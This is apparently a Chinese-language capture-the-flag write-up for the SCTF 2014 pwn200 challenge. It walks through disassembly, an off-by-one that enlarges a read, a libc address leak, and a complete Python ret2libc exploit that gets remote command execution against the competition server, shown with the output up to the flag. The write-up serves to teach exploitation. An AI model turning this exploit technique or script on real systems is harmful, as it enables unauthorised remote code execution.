[关闭]
@pnck 2015-03-19T05:17:07.000000Z 字数 7481 阅读 4830

sctf2014 pwn200 详解

writeup


用某大牛的话来说,一道“简单的栈溢出”,题目用nc连上去之后就一行提示input name,试了一些%字符串之后无果,超长字串也没有问题,于是直接丢IDA分析。

程序很简单,就几个函数,通过xref很快理清代码逻辑,入口点进去就是调用一个 __libc_start_main开始main函数,然后有一些constructor和finalizer函数,主线就是0x80485c2(命名为call_main) -> 0x80484ac(命名为main_func) 其实call_main就是main函数,但为了逻辑清晰就这么写了

main_func中首先调用write输出“input name”的提示,然后调用read将结果写入一个16字节大的缓冲区,read和write共用一个nbytes变量,函数开始的时候nbytes初始化为16。read完紧接着一个strlen判断字符串是否>=10,若过长直接返回,长度恰当,调用strncmp判断输入字串的前8个字符是否是“syclover”。这里strlen和strncmp判断长度的参数都是固定的,无法利用。然后接下去又是write - read - write,提示输入另一个字串slogan,然后输出用户输入,第二个字串存入一个128字节的缓冲区。然后整个程序就结束了……乍一看似乎没有可以利用的地方,第一个read的缓冲区只有16字节,但是nbytes也是16,不会覆盖到别的地址……我的IDA不知为何F5会崩溃退出,导致有个很关键的点看漏了,实际上在第一次调用read之前0x804850f这个地方被插了个eax+1,接着eax+1被保存回原来nbytes的位置,所以其实read读取了16+1个字节,而不是16个

  1. .text:080484F0 0BC mov dword ptr [esp+8], 0Ch ; n
  2. .text:080484F8 0BC mov dword ptr [esp+4], offset aInputName ; "input name:"
  3. .text:08048500 0BC mov dword ptr [esp], 1 ; fd
  4. .text:08048507 0BC call _write ; Call Procedure
  5. .text:0804850C 0BC mov eax, [ebp+nbytes]
  6. .text:0804850F 0BC add eax, 1 ; <-故意插的桩
  7. .text:08048512 0BC mov [esp+8], eax ; nbytes
  8. .text:08048516 0BC lea eax, [ebp+buf] ; Load Effective Address
  9. .text:08048519 0BC mov [esp+4], eax ; buf
  10. .text:0804851D 0BC mov dword ptr [esp], 0 ; fd
  11. .text:08048524 0BC call _read ; Call Procedure
  12. .text:08048529 0BC lea eax, [ebp+buf] ; Load Effective Address
  13. .text:0804852C 0BC mov [esp], eax ; s
  14. .text:0804852F 0BC call _strlen ; Call Procedure

有了这个出题人故意插的桩后边也就顺理成章,看下栈帧(ctfl+k)

  1. -000000A1 db ? ; undefined
  2. -000000A0 db ? ; undefined
  3. -0000009F db ? ; undefined
  4. -0000009E db ? ; undefined
  5. -0000009D db ? ; undefined
  6. -0000009C slogan db 128 dup(?)
  7. -0000001C buf db 16 dup(?)
  8. -0000000C nbytes dd ?
  9. -00000008 db ? ; undefined
  10. -00000007 db ? ; undefined
  11. -00000006 db ? ; undefined
  12. -00000005 db ? ; undefined
  13. -00000004 db ? ; undefined
  14. -00000003 db ? ; undefined
  15. -00000002 db ? ; undefined
  16. -00000001 db ? ; undefined
  17. +00000000 s db 4 dup(?)
  18. +00000004 r db 4 dup(?)
  19. +00000008
  20. +00000008 ; end of stack variables

buf下面是nbytes,17个字节刚好可以覆盖掉nbytes的最低位,这样下一个read就可以读入255字节的字串,足以从slogan覆盖到返回地址。需要注意一点是第一个read后面是有strlen和strncmp判断的,所以要用0填过去,最后一字节再置为0xff。

  1. s = socket.socket()
  2. s.connect(('218.2.197.248',10001))
  3. s.recv(100)
  4. s.send('syclover'+'\x00'*8+'\xff')
  5. s.recv(100)

之后这里就可以控制程序返回流了,服务器开了nx和aslr,首先想到ret2libc,但有个问题,能够利用的read只有一次,但libc的基址是随机的,如何找到system()的地址?思前想后无果,先写了一段脚本打印栈结构

  1. pl='a'*(128+16)+struct.pack('I',256)+'a'*8
  2. #这里palyload构造参照上面IDA栈帧结果
  3. s = socket.socket()
  4. s.connect(('218.2.197.248',10001))
  5. s.recv(100)
  6. s.send('syclover'+'\x00'*8+'\xff')
  7. #time.sleep(0.5)
  8. s.recv(100)
  9. s.send(pl)
  10. #time.sleep(1)
  11. data = s.recv(4096)
  12. print 'datalen:',len(data)
  13. if not data:
  14. raise Exception('error')
  15. print '*-----------------*'
  16. frames = []
  17. try:
  18. for i in xrange(128+16+4+8,len(data)&0xfffffc,4):
  19. b4yte = data[i:i+4]
  20. frame, = struct.unpack('I',b4yte)
  21. #print hex(frame)
  22. frames.append(frame)
  23. finally :
  24. print 'continue..'
  25. for n in frames:
  26. print hex(n)

最上面的一段结果:

  1. L
  2. 0xbff21228 ;call_main ebp
  3. 0x80485cd ;ret to call_main
  4. 0x80485f0
  5. 0x0
  6. 0x0
  7. 0xb75d74d3 ;ret to __libc_start_main
  8. 0x1
  9. 0xbff212c4
  10. 0xbff212cc
  11. 0xb777a858
  12. H
  13. ...
  14. ...还有很多很多

可以看到除了最顶上两个人尽皆知的ebpret addr之外我还标了一个返回到__libc_start_main的地址。因为main是通过__libc_start_main启动的(入口处),所以main的调用栈必定能回溯到__libc_start_main里面。但具体的调用链我不清楚……那就猜吧……hhhh反正在返回地址下面对不对 _(:з」∠)_题目同时给出了libc的bin,IDA找一下__libc_start_main

  1. .text:000193E0 __libc_start_main proc near
  2. .text:000193E0
  3. .text:000193E0 env = dword ptr -6Ch
  4. .text:000193E0 var_68 = dword ptr -68h
  5. .text:000193E0 var_64 = dword ptr -64h
  6. .text:000193E0 var_54 = dword ptr -54h
  7. .text:000193E0 var_50 = dword ptr -50h
  8. .text:000193E0 var_48 = byte ptr -48h
  9. .text:000193E0 var_2C = dword ptr -2Ch
  10. .text:000193E0 var_28 = dword ptr -28h
  11. .text:000193E0 var_10 = dword ptr -10h
  12. .text:000193E0 addr_of_cunc = dword ptr 4
  13. .text:000193E0 arg_4 = dword ptr 8
  14. .text:000193E0 arg_8 = dword ptr 0Ch
  15. .text:000193E0 arg_C = dword ptr 10h
  16. .text:000193E0 arg_14 = dword ptr 18h

根据参数把arg0改为addr_of_func往下找

  1. .text:000194C0 mov [esp+6Ch+var_68], ecx
  2. .text:000194C4 mov [esp+6Ch+var_64], eax
  3. .text:000194C8 mov eax, [esp+6Ch+arg_4]
  4. .text:000194CC mov [esp+6Ch+env], eax
  5. .text:000194CF call [esp+6Ch+addr_of_func] ;Here is the call
  6. .text:000194D3
  7. .text:000194D3 loc_194D3: ; CODE XREF: __libc_start_main+12Ej
  8. .text:000194D3 mov [esp+10h+var_10], eax
  9. .text:000194D6 call exit
  10. .text:000194DB ; ---------------------------------------------------------------------------
  11. .text:000194DB
  12. .text:000194DB loc_194DB: ; CODE XREF: __libc_start_main+25j
  13. .text:000194DB xor ecx, ecx
  14. .text:000194DD jmp loc_19414
  15. .text:000194E2 ; ---------------------------------------------------------------------------
  16. .text:000194E2

也就是说返回到这里的时候应该是到0x000194d3的位置,结合之前打印栈结构的数据合理猜测0xb75d74d3就是对应的动态绑定的返回到__libc_start_main中的真实地址。于是libc的基址就可以这样计算:base = ebp+5*4-0x194d3,对应的system()的地址为base+0x3f430,"/bin/sh"字串在base+0x160f58,这些偏移均可以从libc中搜索得到,这里不再赘述。可是问题还搁在那没解决,地址找齐了,read也已经执行完了,没有机会再ret到system了,怎么办……又是一轮冥思苦想无果,尝试返回到其中一个read让read再次覆盖返回地址也没成功,期间倒是通过固定目标地址暴力循环盲打的方式成功溢出几回……向大牛讨问了半天如何构造堆栈能让程序ret到read上面之后还能读到有效的数据(关键是nbytes和fd),后来得出个结论:这几乎是不可能的,因为由始至终并无办法获得esp或ebp,也就没法计算read需要的参数偏移的具体位置,连填充数据填到了哪个地址也无法知道,所以ret回read不现实。后来大牛说直接给你看看脚本好了……原来他一开始也在尝试ret到read,半天发现不行,改为直接ret到函数开头,不过脚本写完回头忘了= = 好吧,改为ret到函数开头,成功。

最后exp的思路是
1. 发送"syclover"+8个\x00+\xff,覆盖nbytes最低位
2. 发送'A'*0x9c + 随意一个ebp + 0x80484ac(main_func的地址)覆盖返回地址,使程序重复执行main_func;同时通过程序write出来的数据获得返回到 __libc_start_main中的地址,再根据这个地址计算system()和/bin/sh字串的位置
3. 在第二次调用的main_func过程中用同样的办法把返回地址覆盖为算出的system,ret_addr+8为/bin/sh的位置

成功利用的脚本如下

  1. #!/bin/env python
  2. #coding:utf-8
  3. import struct
  4. import socket
  5. import time
  6. def run(cmd):
  7. new_ebp = 0xbf000000
  8. base = 0xb75b4000
  9. t_addr = base+0x3f430
  10. pl='a'*(128+16)+struct.pack('I',256)+'a'*8+struct.pack('II',new_ebp,0x80484ac)
  11. s = socket.socket()
  12. s.connect(('218.2.197.248',10001))
  13. s.recv(100)
  14. s.send('syclover'+'\x00'*8+'\xff')
  15. #time.sleep(0.5)
  16. s.recv(100)
  17. s.send(pl)
  18. #time.sleep(1)
  19. data = s.recv(4096)
  20. print 'datalen:',len(data)
  21. if not data:
  22. #raise Exception('error')
  23. return
  24. print '*-----------------*'
  25. frames = []
  26. try:
  27. for i in xrange(128+16+4+8,len(data)&0xfffffc,4):
  28. b4yte = data[i:i+4]
  29. frame, = struct.unpack('I',b4yte)
  30. #print hex(frame)
  31. frames.append(frame)
  32. finally :
  33. print 'continue..'
  34. #for n in frames:
  35. #print hex(n)
  36. addr_ret = frames[1]
  37. print 'ret to:',hex(addr_ret)
  38. base = frames[5]-0x194d3
  39. print 'base:',hex(base)
  40. addr_system = base+0x3f430
  41. print 'system:',hex(addr_system)
  42. #if addr_system != t_addr:
  43. # print 'not\n'
  44. # return
  45. addr_shstr = base+0x160f58
  46. print 'str:',hex(addr_shstr)
  47. print 'addr_system:',hex(addr_system),'sh_addr:',hex(addr_shstr)
  48. print s.recv(100)
  49. s.send('syclover'+'\x00'*8+'\xff')
  50. s.recv(100)
  51. pl='a'*(128+16)+struct.pack('I',256)+'a'*8+struct.pack('IIII',new_ebp,addr_system,0x8048585,addr_shstr)
  52. s.send(pl)
  53. s.recv(4096)
  54. print '================================='
  55. s.send(cmd+'\n')
  56. d2 = s.recv(4096)
  57. print d2
  58. print '================================='
  59. s.close()
  60. if __name__ == '__main__':
  61. while True:
  62. cmd = raw_input('command: ')
  63. run(cmd)

最后flag放在/home/pwn1/ffLLag_/flag这个文件中

  1. [pnck@iZ2387cmgm2Z ctf]$ ./pwn200.py
  2. command: ls /home
  3. datalen: 256
  4. *-----------------*
  5. base: 0xb7551000
  6. system: 0xb7590430
  7. str: 0xb76b1f58
  8. addr_system: 0xb7590430 sh_addr: 0xb76b1f58
  9. =================================
  10. pwn1
  11. pwn2
  12. pwn3
  13. syclover
  14. =================================
  15. command: ls /pwn1/
  16. *-----------------*
  17. base: 0xb752f000
  18. system: 0xb756e430
  19. str: 0xb768ff58
  20. addr_system: 0xb756e430 sh_addr: 0xb768ff58
  21. =================================
  22. ls:
  23. =================================
  24. command: ls /home/pwn1
  25. *-----------------*
  26. base: 0xb7559000
  27. system: 0xb7598430
  28. str: 0xb76b9f58
  29. addr_system: 0xb7598430 sh_addr: 0xb76b9f58
  30. =================================
  31. ffLLag_
  32. pwn1
  33. =================================
  34. command: ls /home/pwn1/ffLLag_
  35. *-----------------*
  36. base: 0xb75a9000
  37. system: 0xb75e8430
  38. str: 0xb7709f58
  39. input name:
  40. addr_system: 0xb75e8430 sh_addr: 0xb7709f58
  41. =================================
  42. flag
  43. =================================
  44. command: cat /home/pwn1/ffLLag_/flag
  45. *-----------------*
  46. base: 0xb75f9000
  47. system: 0xb7638430
  48. str: 0xb7759f58
  49. addr_system: 0xb7638430 sh_addr: 0xb7759f58
  50. =================================
  51. SCTF{SH3NG_4_KAN_DAN__BU_FU_9_GANN}
  52. =================================
添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注